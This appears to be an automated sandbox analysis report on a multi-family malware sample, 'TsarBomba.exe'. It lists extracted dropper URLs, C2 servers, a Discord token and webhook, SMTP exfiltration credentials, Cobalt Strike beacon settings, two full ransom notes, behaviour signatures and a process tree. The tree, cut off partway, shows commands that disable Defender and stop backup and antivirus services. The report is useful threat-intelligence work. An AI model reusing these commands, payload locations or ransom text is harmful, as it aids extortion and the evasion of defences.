Resubmissions
21/04/2026, 19:47
260421-yhzf5sez3x1013/04/2026, 20:31
260413-zavcwsaz2t1023/01/2026, 21:50
260123-1qeg2sbt5a1023/01/2026, 21:46
260123-1m1k4sbs8a1015/01/2026, 09:01
260115-kzcrtahx8h1014/01/2026, 19:42
260114-ye55hsdt8b1014/01/2026, 19:41
260114-yele4sdt6h14/01/2026, 17:47
260114-wcyxbaaw4e1014/01/2026, 17:45
260114-wbw2bsaw2b1014/01/2026, 17:27
260114-v1j8dsas2c10Analysis
- user interaction
yes - max time kernel
654s - max time network
656s - platform
windows10-ltsc_2021_x64 - resource
win10ltsc2021-20260114-en - resource tags
- submitted
14/01/2026, 17:27
General
- Target TsarBomba.exe
- Size 25.2MB
- Sample260114-v1j8dsas2c
- SHA256 3755718db9d33f4aba2563de454d4530a308b41b1096c904102d08e2101f2020
Score
10/10
Malware Config
Extracted
Language
-
ps1
Deobfuscated
Source
URLs
-
exe.dropper
http://185.156.72.2/testmine/random.exe
Extracted
Language
-
ps1
Deobfuscated
Source
URLs
-
exe.dropper
http://185.156.72.2/testmine/random.exe
Extracted
Family
-
redline
Botnet
-
cheat
C2
-
154.91.34.165:64951
Extracted
Family
-
discordrat
Attributes
-
discord_token
MTM0OTU1Nzg2MTk3NzY4NjExOA.GZnBJ8.ModoCKrx8GueOq0zGHlbO14l4wHwAZe9839-DA
-
server_id
1350894549899411528
Extracted
Family
-
gh0strat
C2
-
192.168.1.221
Extracted
Family
-
umbral
Version
-
v1.3
C2
-
https://discord.com/api/webhooks/1346459311483785276/cQnVuDAoiFJcDf4vo7vWTgnnFbmUju8Qxk65L_lTD8cZZ2u1KsT1eGhKTrTCfucO5-er
Extracted
Family
-
cobaltstrike
Botnet
-
987654321
C2
-
http://103.171.35.26:9443/dot.gif
Attributes
-
access_type
512
-
beacon_type
2048
-
host
103.171.35.26,/dot.gif
-
http_header1
AAAABwAAAAAAAAADAAAABgAAAAZDb29raWUAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA=
-
http_header2
AAAACgAAACZDb250ZW50LVR5cGU6IGFwcGxpY2F0aW9uL29jdGV0LXN0cmVhbQAAAAcAAAAAAAAABQAAAAJpZAAAAAcAAAABAAAABAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA=
-
http_method1
GET
-
http_method2
POST
-
polling_time
60000
-
port_number
9443
-
sc_process32
%windir%\syswow64\rundll32.exe
-
sc_process64
%windir%\sysnative\rundll32.exe
-
state_machine
MIGfMA0GCSqGSIb3DQEBAQUAA4GNADCBiQKBgQCYwABfVZCivHbnjZUO+BO81zPgD/iC2oPyKTKg/ktH1Zbz3KyDsPWnMof9juyAfTGI73mxgqkNUk3MwtLRfIqw+cleDaWzp4gE2tnKy9qy4dqKpTA6yNxxtvSYH3EW3YQb7BsYeNZclmAmezp4zgRUwqydV21a6CYhEsjH2IeQ7wIDAQABAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA==
-
unknown1
4096
-
unknown2
AAAABAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA==
-
uri
/submit.php
-
user_agent
Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; WOW64; Trident/5.0; BOIE9;ENUSMSE)
-
watermark
987654321
Extracted
Family
-
vidar
Version
-
13.6
Botnet
-
158fdd2a4f5abb978509580715e5353f
C2
-
https://t.me/m00f3r
-
https://steamcommunity.com/profiles/76561199851454339
Attributes
-
user_agent
Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 Chrome/132.0.0.0 Safari/537.36 OPR/117.0.0.0
Extracted
Path
-
C:\Users\Admin\Data breach warning.txt
Ransom Note
- # RA World ---- ## Notification Your data are stolen and encrypted when you read this letter. We have copied all data to our server. Don't worry, your data will not be made public if you do what I want. But if you don't pay, we will release the data, contact your customers and regulators and destroy your system again. We can decrypt some files to prove that the decrypt tool works correctly. ## What we want? Contact us, pay for ransom. If you pay, we will provide you the programs for decryption and we will delete your data where on our servers. If not, we will leak your datas and your company will appear in the shame list below. If not, we will email to your customers and report to supervisory authority. ## How contact us? We use qTox to contact, you can download qTox from office website: https://qtox.github.io Our qTox ID is: 358AC0F6C813DD4FD243524F040E2F77969278274BD8A8945B5041A249786E32CC784580F2EC We have no other contacts. If there is no contact within 3 days, you will appear on our website and we will make sample files public. If there is no contact within 7 days, we will stop communicating and release data in batches. The longer time, the higher ransom. ## RA World Office Site: [Permanent address] http://raworldw32b2qxevn3gp63pvibgixr4v75z62etlptg3u3pmajwra4ad.onion [Temporary address] http://161.35.200.18 ## Sample files release link: Sample files: https://gofile.io/d/ufuFye ## Unpay Victim Lists *** You'll be here too if you don't pay! *** *** More and more people will get your files! *** [NIDEC GPM GmbH] [Die Unfallkasse Th�ringen] [HALLIDAYS GROUP LIMITED] [Rockford Gastroenterology Associates] [Di Martino Group] [Alablaboratoria] [Comer] [Informist Media] [SUMMIT VETERINARY PHARMACEUTICALS LIMITED] [Chung Hwa Chemical Industrial Works] [Aceromex] [247ExpressLogistics] [Yuxin Automobile Co.Ltd] [Piex Group] [Zurvita] [BiscoIndustries] [Decimal Point Analytics Pvt] [DeepNoid] [Eastern Media International Corporation] [EyeGene] [Insurance Providers Group] [Thaire] [Wealth Enhancement Group] You can use Tor Browser to open .onion url. Ger more information from Tor office website: https://www.torproject.org
URLs
-
https://qtox.github.io
-
http://raworldw32b2qxevn3gp63pvibgixr4v75z62etlptg3u3pmajwra4ad.onion
-
http://161.35.200.18
-
https://gofile.io/d/ufuFye
Extracted
Path
-
C:\ahIFlNJOT.README.txt
-
lockbit
Ransom Note
- ~~~ LockBit 3.0 the world's fastest ransomware since 2019~~~ >>>> Your data are stolen and encrypted >>>> What guarantees that we will not deceive you? We are not a politically motivated group and we do not need anything other than your money. If you pay, we will provide you the programs for decryption and we will delete your data. Life is too short to be sad. Be not sad, money, it is only paper. If we do not give you decrypters, or we do not delete your data after payment, then nobody will pay us in the future. Therefore to us our reputation is very important. We attack the companies worldwide and there is no dissatisfied victim after payment. You can obtain information about us on twitter https://twitter.com/hashtag/lockbit?f=live >>>> you can contact us in mail or tox. Tox ID LockBitSupp: 599A61A3310B75EC1713521B487B9FD9D2D02CCF37830FF941DD3AD35F12E86960AC75B9F171 mail Support: [email protected] >>>> Your personal DECRYPTION ID: EB62581AF710E223DAC1B559E9C8F4C6 >>>> Warning! Do not DELETE or MODIFY any files, it can lead to recovery problems! >>>> Warning! If you do not pay the ransom we will attack your company repeatedly again! >>>> Advertisement Would you like to earn millions of dollars $$$ ? Our company acquire access to networks of various companies, as well as insider information that can help you steal the most valuable data of any company. You can provide us accounting data for the access to any company, for example, login and password to RDP, VPN, corporate email, etc. Open our letter at your email. Launch the provided virus on any computer in your company. You can do it both using your work computer or the computer of any other employee in order to divert suspicion of being in collusion with us. Companies pay us the foreclosure for the decryption of files and prevention of data leak. You can contact us using Tox messenger without registration and SMS https://tox.chat/download.html. Using Tox messenger, we will never know your real name, it means your privacy is guaranteed. If you want to contact us, write in jabber or tox. Tox ID LockBitSupp: 599A61A3310B75EC1713521B487B9FD9D2D02CCF37830FF941DD3AD35F12E86960AC75B9F171 mail Support: [email protected]
Emails
URLs
-
https://tox.chat/download.html
Extracted
Family
-
masslogger
Attributes
-
exfiltration_mode
#SMTPEnabled
-
expire_time_date
2025-06-14
-
host_password
DhakaHome2024
-
host_port
587
- host_receiver
- host_sender
-
host_server
mail.dhakahome.com
-
ssl_slate
True
Extracted
Family
-
vipkeylogger
Extracted
Family
-
xworm
Version
-
5.0
C2
-
paltalkroom.ddns.net:65236
Mutex
-
Y1mBse1uakfJ6zP1
Attributes
-
Install_directory
%Temp%
-
install_file
test.exe
aes.plain
Signatures
- AdesStealer
AdesStealer is a modular stealer written in C#.
- Ades_stealer family
- Chaos
Ransomware family first seen in June 2021.
- Chaos Ransomware 2 IoCs
- Chaos family
- Cobaltstrike
Detected malicious payload which is part of Cobaltstrike.
- Cobaltstrike family
- DcRat
DarkCrystal(DC) is a new .NET RAT active since June 2019 capable of loading additional plugins.
- Dcrat family
- Detect Rokrat payload 1 IoCs
- Detect Vidar Stealer 2 IoCs
- Detect Xworm Payload 2 IoCs
- Detected Xorist Ransomware 1 IoCs
- Detects AdesStealer 2 IoCs
- Detects JLocker ransomware. 1 IoCs
- Detects Umbral payload 4 IoCs
- Detects ValleyRAT payload 1 IoCs
- Discord RAT
A RAT written in C# using Discord as a C2.
- Discordrat family
- DragonForce
Ransomware family based on Lockbit that was first observed in November 2023.
- Dragonforce family
- Gh0st RAT payload 1 IoCs
- Gh0strat
Gh0st RAT is a remote access tool (RAT) with its source code public and it has been used by multiple Chinese groups.
- Gh0strat family
- JLocker
JLocker, also known as JRansomware, is a new Rust based ransomware.
- Jlocker family
- Lockbit
Ransomware family with multiple variants released since late 2019.
- Lockbit family
- MassLogger
Masslogger is a .NET stealer targeting passwords from browsers, email and cryptocurrency clients.
- Masslogger family
- Medusa Ransomware
Ransomware first identified in 2022 that is distinct from the similarly named ransomware family MedusaLocker.
- Medusaransomware family
- ModiLoader, DBatLoader
ModiLoader is a Delphi loader that misuses cloud services to download other malicious families.
- Modifies WinLogon for persistence 2 TTPs 1 IoCs
- Modifies Windows Defender DisableAntiSpyware settings 3 TTPs 1 IoCs
- Modifies Windows Defender Real-time Protection settings 3 TTPs 7 IoCs
- Modifies Windows Defender TamperProtection settings 3 TTPs 1 IoCs
- Modiloader family
- NanoCore
NanoCore is a remote access tool (RAT) with a variety of capabilities.
- Nanocore family
- Njrat family
- Process spawned unexpected child process 36 IoCs
This typically indicates the parent process was compromised via an exploit or macro.
- RA World
RA World ransomware, also known as RA Group, is a crypto-ransomware variant that has evolved from the earlier Babuk ransomware. It emerged in April 2023.
- Raworld family
- RedLine
RedLine Stealer is a malware family written in C#, first appearing in early 2020.
- RedLine payload 2 IoCs
- Redline family
- Rokrat
Rokrat is a remote access trojan written in c++.
- Rokrat family
- Rule to detect Lockbit 3.0 ransomware Windows payload 2 IoCs
- SectopRAT
SectopRAT is a remote access trojan first seen in November 2019.
- SectopRAT payload 2 IoCs
- Sectoprat family
- Umbral
Umbral stealer is an open-source modular stealer written in C#.
- Umbral family
- VIPKeylogger
VIPKeylogger is a keylogger and infostealer written in C# and it resembles SnakeKeylogger that was found in 2020.
- ValleyRat
ValleyRat stage2 is a backdoor written in C++.
- Valleyrat_s2 family
- Vidar
Vidar is an infostealer based on Arkei stealer.
- Vidar family
- Vipkeylogger family
- WarzoneRat, AveMaria
WarzoneRat is a native RAT developed in C++ with multiple plugins sold as a MaaS.
- Warzonerat family
- Xorist Ransomware
Xorist is a ransomware first seen in 2020.
- Xorist family
- Xworm
Xworm is a remote access trojan written in C#.
- Xworm family
- njRAT/Bladabindi
Widely used RAT written in .NET.
- DCRat payload 1 IoCs
- Deletes shadow copies 3 TTPs
Ransomware often targets backup files to inhibit system recovery.
- ModiLoader Second Stage 2 IoCs
- Renames multiple (1254) files with added filename extension
This suggests ransomware activity of encrypting all the files on the system.
- Renames multiple (148) files with added filename extension
This suggests ransomware activity of encrypting all the files on the system.
- Renames multiple (174) files with added filename extension
This suggests ransomware activity of encrypting all the files on the system.
- Renames multiple (17640) files with added filename extension
This suggests ransomware activity of encrypting all the files on the system.
- Renames multiple (2830) files with added filename extension
This suggests ransomware activity of encrypting all the files on the system.
- Renames multiple (560) files with added filename extension
This suggests ransomware activity of encrypting all the files on the system.
- Badlisted process makes network request 3 IoCs
Network request originating from process or tool commonly abused by malware.
- Binary is signed using a ConnectWise certificate revoked for key compromise. 1 IoCs
- Command and Scripting Interpreter: PowerShell 1 TTPs 53 IoCs
Run Powershell to modify Windows Defender settings to add exclusions for file extensions, paths, and processes.
- Disables one or more Microsoft Defender components 1 TTPs 5 IoCs
Uses the Powershell Set-MpPreference cmdlet to disable one or more Microsoft Defender components.
- Drops file in Drivers directory 9 IoCs
- Event Triggered Execution: AppInit DLLs 1 TTPs
Adversaries may establish persistence and/or elevate privileges by executing malicious content triggered by AppInit DLLs loaded into processes.
- Manipulates Digital Signatures 1 TTPs 4 IoCs
Attackers can apply techniques such as changing the registry keys of authenticode & Cryptography to make their binary seem validly signed.
- ASPack v2.12-2.42 1 IoCs
Detects executables packed with ASPack v2.12-2.42
- Checks BIOS information in registry 2 TTPs 1 IoCs
BIOS information is often read in order to detect sandboxing environments.
- Checks computer location settings 2 TTPs 21 IoCs
Looks up country code configured in the registry, likely geofence.
- Credentials from Password Stores: Windows Credential Manager 1 TTPs
Suspicious access to Credentials History.
- Disables automatic submission of suspicious files to Microsoft by Windows Defender 1 TTPs 1 IoCs
Uses the Powershell Set-MpPreference cmdlet to prevent Windows Defender from automatically sending files to Microsoft for analysis.
- Drops startup file 17 IoCs
- Executes dropped EXE 64 IoCs
- Loads dropped DLL 64 IoCs
- Prevents Microsoft Defender from scanning certain paths by adding an exclusion. 2 TTPs 1 IoCs
Uses the Powershell Add-MpPreference cmdlet to exclude paths from being scanned by Microsoft Defender.
- Reads WinSCP keys stored on the system 2 TTPs
Tries to access WinSCP stored sessions.
- Reads data files stored by FTP clients 2 TTPs
Tries to access configuration files associated with programs like FileZilla.
- Reads user/profile data of local email clients 2 TTPs
Email clients store some user data on disk where infostealers will often target it.
- Reads user/profile data of web browsers 3 TTPs
Infostealers often target stored browser data, which can include saved credentials etc.
- Unexpected DNS network traffic destination 1 IoCs
Network traffic to other servers than the configured DNS servers was detected on the DNS port.
- Unsecured Credentials: Credentials In Files 1 TTPs
Steal credentials from unsecured files.
- Windows security modification 2 TTPs 2 IoCs
- Accesses Microsoft Outlook profiles 1 TTPs 9 IoCs
- Adds Run key to start application 2 TTPs 14 IoCs
- Checks whether UAC is enabled 1 TTPs 1 IoCs
- Creates a large amount of network flows 1 TTPs
This may indicate a network scan to discover remotely running services.
- Drops desktop.ini file(s) 39 IoCs
- Enumerates connected drives 3 TTPs 23 IoCs
Attempts to read the root path of hard drives other than the default C: drive.
- Indicator Removal: File Deletion 1 TTPs
Adversaries may delete files left behind by the actions of their intrusion activity.
- Looks up external IP address via web service 7 IoCs
Uses a legitimate IP lookup service to find the infected system's external IP.
- Network Share Discovery 1 TTPs
Attempt to gather information on host network.
- Obfuscated Files or Information: Command Obfuscation 1 TTPs
Adversaries may obfuscate content during command execution to impede detection.
- AutoIT Executable 2 IoCs
AutoIT scripts compiled to PE executables.
- Checks system information in the registry 2 TTPs 1 IoCs
System information is often read in order to detect sandboxing environments.
- ConfuserEx .NET packer 3 IoCs
Detects ConfuserEx .NET packer.
- Drops file in System32 directory 64 IoCs
- Sets desktop wallpaper using registry 2 TTPs 3 IoCs
- Suspicious use of NtSetInformationThreadHideFromDebugger 14 IoCs
- Suspicious use of SetThreadContext 19 IoCs
- Drops file in Program Files directory 64 IoCs
- Drops file in Windows directory 64 IoCs
- Browser Information Discovery 1 TTPs
Enumerate browser information.
- Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).
- Program crash 44 IoCs
- System Location Discovery: System Language Discovery 1 TTPs 64 IoCs
Attempt gather information about the system language of a victim in order to infer the geographical location of that host.
- System Network Configuration Discovery: Internet Connection Discovery 1 TTPs 3 IoCs
Adversaries may check for Internet connectivity on compromised systems.
- Inno Setup is an open-source installation builder for Windows applications. 1 IoCs
Inno Setup installer
- Checks processor information in registry 2 TTPs 5 IoCs
Processor information is often read in order to detect sandboxing environments.
- Delays execution with timeout.exe 1 IoCs
- Enumerates system info in registry 2 TTPs 2 IoCs
- Interacts with shadow copies 3 TTPs 3 IoCs
Shadow copies are often targeted by ransomware to inhibit system recovery.
- Kills process with taskkill 44 IoCs
- Modifies Control Panel 3 IoCs
- Modifies data under HKEY_USERS 6 IoCs
- Modifies registry class 50 IoCs
- Modifies system certificate store 2 TTPs 6 IoCs
- Opens file in notepad (likely ransom note) 1 IoCs
- Runs net.exe
- Runs ping.exe 1 TTPs 2 IoCs
- Scheduled Task/Job: Scheduled Task 1 TTPs 46 IoCs
Schtasks is often used by malware for persistence or to perform post-infection execution.
- Suspicious behavior: EnumeratesProcesses 64 IoCs
- Suspicious behavior: GetForegroundWindowSpam 5 IoCs
- Suspicious behavior: LoadsDriver 6 IoCs
- Suspicious behavior: MapViewOfSection 3 IoCs
- Suspicious behavior: SetClipboardViewer 1 IoCs
- Suspicious use of AdjustPrivilegeToken 64 IoCs
- Suspicious use of FindShellTrayWindow 63 IoCs
- Suspicious use of SendNotifyMessage 6 IoCs
- Suspicious use of SetWindowsHookEx 7 IoCs
- Suspicious use of WriteProcessMemory 64 IoCs
- Uses Task Scheduler COM API 1 TTPs
The Task Scheduler COM API can be used to schedule applications to run on boot or at set times.
- Uses Volume Shadow Copy service COM API
The Volume Shadow Copy service is used to manage backups/snapshots.
- outlook_office_path 1 IoCs
- outlook_win_path 1 IoCs
Processes
-
C:\Users\Admin\AppData\Local\Temp\TsarBomba.exe"C:\Users\Admin\AppData\Local\Temp\TsarBomba.exe"1⤵
- Checks computer location settings
- Suspicious behavior: GetForegroundWindowSpam
- Suspicious use of WriteProcessMemory
-
C:\Users\Admin\AppData\Local\Temp\0f78a658b60f0879acccf0933d9ae8a5d2c188e9f16b8e6f7b01bd0cc9b5c4e1.exe"C:\Users\Admin\AppData\Local\Temp\0f78a658b60f0879acccf0933d9ae8a5d2c188e9f16b8e6f7b01bd0cc9b5c4e1.exe"2⤵
- Executes dropped EXE
- System Location Discovery: System Language Discovery
- Suspicious use of AdjustPrivilegeToken
-
-
C:\Users\Admin\AppData\Local\Temp\0fd46aca09c54c256d22420d2ac3e947ff204a42a24158dfcb562de18a77f3f1.exe"C:\Users\Admin\AppData\Local\Temp\0fd46aca09c54c256d22420d2ac3e947ff204a42a24158dfcb562de18a77f3f1.exe"2⤵
- Executes dropped EXE
- Suspicious use of SetThreadContext
- Suspicious use of WriteProcessMemory
-
C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe"C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe"3⤵
- System Location Discovery: System Language Discovery
-
-
-
C:\Users\Admin\AppData\Local\Temp\01ec7b1066df7c55e262dc375bff5fd13a1fc9706c3db4b3522ac8b9d2453b52.exe"C:\Users\Admin\AppData\Local\Temp\01ec7b1066df7c55e262dc375bff5fd13a1fc9706c3db4b3522ac8b9d2453b52.exe"2⤵
- Checks computer location settings
- Executes dropped EXE
- Suspicious use of SetThreadContext
-
C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Add-MpPreference -ExclusionPath "C:\Users\Admin\AppData\Roaming\ZcwWvGIJLelYh.exe"3⤵
- Command and Scripting Interpreter: PowerShell
-
-
C:\Windows\SysWOW64\schtasks.exe"C:\Windows\System32\schtasks.exe" /Create /TN "Updates\ZcwWvGIJLelYh" /XML "C:\Users\Admin\AppData\Local\Temp\tmp162.tmp"3⤵
- Scheduled Task/Job: Scheduled Task
-
-
C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe"C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe"3⤵
- Adds Run key to start application
- Modifies registry class
-
C:\Windows\SysWOW64\WScript.exe"C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\install.vbs"4⤵
- Suspicious use of FindShellTrayWindow
-
-
-
-
C:\Users\Admin\AppData\Local\Temp\1bad2b6e8ab16c5a692b2d05f68f7924a73a5818ddf3a9678ca8caab3568a78e.exe"C:\Users\Admin\AppData\Local\Temp\1bad2b6e8ab16c5a692b2d05f68f7924a73a5818ddf3a9678ca8caab3568a78e.exe"2⤵
- Executes dropped EXE
- Drops file in Program Files directory
- Suspicious use of WriteProcessMemory
-
C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exepowershell -Command "& { }"3⤵
- Command and Scripting Interpreter: PowerShell
- Suspicious use of AdjustPrivilegeToken
-
-
C:\Windows\SysWOW64\net.exenet stop "Acronis VSS Provider" /y3⤵
-
C:\Windows\SysWOW64\net1.exeC:\Windows\system32\net1 stop "Acronis VSS Provider" /y4⤵
-
-
-
C:\Windows\SysWOW64\net.exenet stop "Enterprise Client Service" /y3⤵
-
C:\Windows\SysWOW64\net1.exeC:\Windows\system32\net1 stop "Enterprise Client Service" /y4⤵
-
-
-
C:\Windows\SysWOW64\net.exenet stop "Sophos Agent" /y3⤵
-
C:\Windows\SysWOW64\net1.exeC:\Windows\system32\net1 stop "Sophos Agent" /y4⤵
-
-
-
C:\Windows\SysWOW64\net.exenet stop "Sophos AutoUpdate Service" /y3⤵
-
C:\Windows\SysWOW64\net1.exeC:\Windows\system32\net1 stop "Sophos AutoUpdate Service" /y4⤵
-
-
-
C:\Windows\SysWOW64\net.exenet stop "Sophos Clean Service" /y3⤵
-
C:\Windows\SysWOW64\net1.exeC:\Windows\system32\net1 stop "Sophos Clean Service" /y4⤵
-
-
-
C:\Windows\SysWOW64\net.exenet stop "Sophos Device Control Service" /y3⤵
-
C:\Windows\SysWOW64\net1.exeC:\Windows\system32\net1 stop "Sophos Device Control Service" /y4⤵
-
-
-
C:\Windows\SysWOW64\net.exenet stop "Sophos File Scanner Service" /y3⤵
-
C:\Windows\SysWOW64\net1.exeC:\Windows\system32\net1 stop "Sophos File Scanner Service" /y4⤵
-
-
-
C:\Windows\SysWOW64\net.exenet stop "Sophos Health Service" /y3⤵
-
C:\Windows\System32\Conhost.exe\??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV14⤵
- Loads dropped DLL
-
-
C:\Windows\SysWOW64\net1.exeC:\Windows\system32\net1 stop "Sophos Health Service" /y4⤵
-
-
-
C:\Windows\SysWOW64\net.exenet stop "Sophos MCS Agent" /y3⤵
-
C:\Windows\SysWOW64\net1.exeC:\Windows\system32\net1 stop "Sophos MCS Agent" /y4⤵
-
-
-
C:\Windows\SysWOW64\net.exenet stop "Sophos MCS Client" /y3⤵
-
C:\Windows\SysWOW64\net1.exeC:\Windows\system32\net1 stop "Sophos MCS Client" /y4⤵
-
-
-
C:\Windows\SysWOW64\net.exenet stop "Sophos Message Router" /y3⤵
-
C:\Windows\SysWOW64\net1.exeC:\Windows\system32\net1 stop "Sophos Message Router" /y4⤵
-
-
-
C:\Windows\SysWOW64\net.exenet stop "Sophos Safestore Service" /y3⤵
-
C:\Windows\SysWOW64\net1.exeC:\Windows\system32\net1 stop "Sophos Safestore Service" /y4⤵
-
-
-
C:\Windows\SysWOW64\net.exenet stop "Sophos System Protection Service" /y3⤵
-
C:\Windows\SysWOW64\net1.exeC:\Windows\system32\net1 stop "Sophos System Protection Service" /y4⤵
-
-
-
C:\Windows\SysWOW64\net.exenet stop "Sophos Web Control Service" /y3⤵
-
C:\Windows\SysWOW64\net1.exeC:\Windows\system32\net1 stop "Sophos Web Control Service" /y4⤵
-
-
-
C:\Windows\SysWOW64\net.exenet stop "SQLsafe Backup Service" /y3⤵
-
C:\Windows\SysWOW64\net1.exeC:\Windows\system32\net1 stop "SQLsafe Backup Service" /y4⤵
-
-
-
C:\Windows\SysWOW64\net.exenet stop "SQLsafe Filter Service" /y3⤵
-
C:\Windows\SysWOW64\net1.exeC:\Windows\system32\net1 stop "SQLsafe Filter Service" /y4⤵
-
-
-
C:\Windows\SysWOW64\net.exenet stop "Symantec System Recovery" /y3⤵
-
C:\Windows\SysWOW64\net1.exeC:\Windows\system32\net1 stop "Symantec System Recovery" /y4⤵
-
-
-
C:\Windows\SysWOW64\net.exenet stop "Veeam Backup Catalog Data Service" /y3⤵
-
C:\Windows\SysWOW64\net1.exeC:\Windows\system32\net1 stop "Veeam Backup Catalog Data Service" /y4⤵
- System Location Discovery: System Language Discovery
-
-
-
C:\Windows\SysWOW64\net.exenet stop "AcronisAgent" /y3⤵
-
C:\Windows\System32\Conhost.exe\??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV14⤵
-
-
C:\Windows\SysWOW64\net1.exeC:\Windows\system32\net1 stop "AcronisAgent" /y4⤵
-
-
-
C:\Windows\SysWOW64\net.exenet stop "AcrSch2Svc" /y3⤵
-
C:\Windows\SysWOW64\net1.exeC:\Windows\system32\net1 stop "AcrSch2Svc" /y4⤵
- System Location Discovery: System Language Discovery
-
-
-
C:\Windows\SysWOW64\net.exenet stop "Antivirus" /y3⤵
-
C:\Windows\SysWOW64\net1.exeC:\Windows\system32\net1 stop "Antivirus" /y4⤵
- System Location Discovery: System Language Discovery
-
-
-
C:\Windows\SysWOW64\net.exenet stop "ARSM" /y3⤵
- System Location Discovery: System Language Discovery
-
C:\Windows\SysWOW64\net1.exeC:\Windows\system32\net1 stop "ARSM" /y4⤵
-
-
-
C:\Windows\SysWOW64\net.exenet stop "BackupExecAgentAccelerator" /y3⤵
-
C:\Windows\System32\Conhost.exe\??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV14⤵
-
-
C:\Windows\SysWOW64\net1.exeC:\Windows\system32\net1 stop "BackupExecAgentAccelerator" /y4⤵
-
-
-
C:\Windows\SysWOW64\net.exenet stop "BackupExecAgentBrowser" /y3⤵
-
C:\Windows\SysWOW64\net1.exeC:\Windows\system32\net1 stop "BackupExecAgentBrowser" /y4⤵
- System Location Discovery: System Language Discovery
-
-
-
C:\Windows\SysWOW64\net.exenet stop "BackupExecDeviceMediaService" /y3⤵
- System Location Discovery: System Language Discovery
-
C:\Windows\SysWOW64\net1.exeC:\Windows\system32\net1 stop "BackupExecDeviceMediaService" /y4⤵
-
-
-
C:\Windows\SysWOW64\net.exenet stop "BackupExecJobEngine" /y3⤵
-
C:\Windows\SysWOW64\net1.exeC:\Windows\system32\net1 stop "BackupExecJobEngine" /y4⤵
-
-
-
C:\Windows\SysWOW64\net.exenet stop "BackupExecManagementService" /y3⤵
-
C:\Windows\SysWOW64\net1.exeC:\Windows\system32\net1 stop "BackupExecManagementService" /y4⤵
- System Location Discovery: System Language Discovery
-
-
-
C:\Windows\SysWOW64\net.exenet stop "BackupExecRPCService" /y3⤵
-
C:\Windows\SysWOW64\net1.exeC:\Windows\system32\net1 stop "BackupExecRPCService" /y4⤵
-
-
-
C:\Windows\SysWOW64\net.exenet stop "BackupExecVSSProvider" /y3⤵
-
C:\Windows\SysWOW64\net1.exeC:\Windows\system32\net1 stop "BackupExecVSSProvider" /y4⤵
-
-
-
C:\Windows\SysWOW64\net.exenet stop "bedbg" /y3⤵
-
C:\Windows\SysWOW64\net1.exeC:\Windows\system32\net1 stop "bedbg" /y4⤵
-
-
-
C:\Windows\SysWOW64\net.exenet stop "DCAgent" /y3⤵
-
